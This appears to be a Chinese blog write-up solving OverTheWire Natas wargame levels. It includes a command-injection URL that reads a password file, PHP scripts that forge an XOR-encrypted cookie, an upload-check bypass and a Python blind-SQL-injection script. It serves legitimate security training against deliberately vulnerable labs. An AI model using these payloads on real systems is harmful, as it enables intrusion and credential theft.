natas部分题解

学长推荐了一个网站natas.lab有些题目还是蛮有意思的

natas9

URL:http://natas9.natas.labs.overthewire.org
Username:natas9
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
直接可以查看源码:

1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>

如果key不为空,则调用grep命令,之前做过类似的题目还是忘记了,既然调用了linux命令,而且没进行过滤,那么就可以进行命令执行,与服务器进行交互。
payload:http://natas9.natas.labs.overthewire.org/?needle=null ;cat ../../../../etc/natas_webpass/natas10&&&submit=Search

natas11

URL:http://natas11.natas.labs.overthewire.org/
Username:natas11
Password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
同样给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>

审计发现是将$key与$defaultdata异或为Cookie[“data”],所以可以用cookie[“data”]与$defaultdata异或得到key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$data= 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in,$out) {
$key ='' ;
$text = $in;
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
//$outText .= $text[$i] ^ $key[$i % strlen($key)];
$key .= $text[$i] ^ $out[$i];
}
return $key;
}
echo xor_encrypt(json_encode($defaultdata),base64_decode($data));
?>

得到key:qw8j然后用key与"showpassword"=>"yes"的data异或得到cookie:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

1
2
3
4
5
6
7
8
9
<?php
$data = '';
$in = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$key = 'qw8J';
for ($i=0; $i < strlen($in); $i++) {
$data .= $in[$i] ^ $key[$i % strlen($key)];
}
echo base64_encode($data);
?>

带着cookie去访问得到下一关的key

natas13

URL:http://natas13.natas.labs.overthewire.org/
Username:natas13
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
关键代码:

1
2
3
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
}

exif_imagetype:判断文件头是否为图片格式
各种类型文件头特征码在要上传的文件前加上jpg的文件头便可绕过

natas15

URL:http://natas15.natas.labs.overthewire.org/
Username:natas15
Password:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
明显的盲注,先利用requests库的requests.auth.HTTPBasicAuth通过认证,盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from requests.auth import HTTPBasicAuth
url='http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
base = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
passd = ""
for b in range(1,33):
for i in base:
c = ord(i)
payload={'username':'natas16\" and ascii(mid(password,'+str(b)+',1))='+str(c)+'#'}
#print payload
a=requests.post(url,auth=requests.auth.HTTPBasicAuth(username,password),data=payload)
if 'This user exists.' in a.content:
passd += i
print passd
break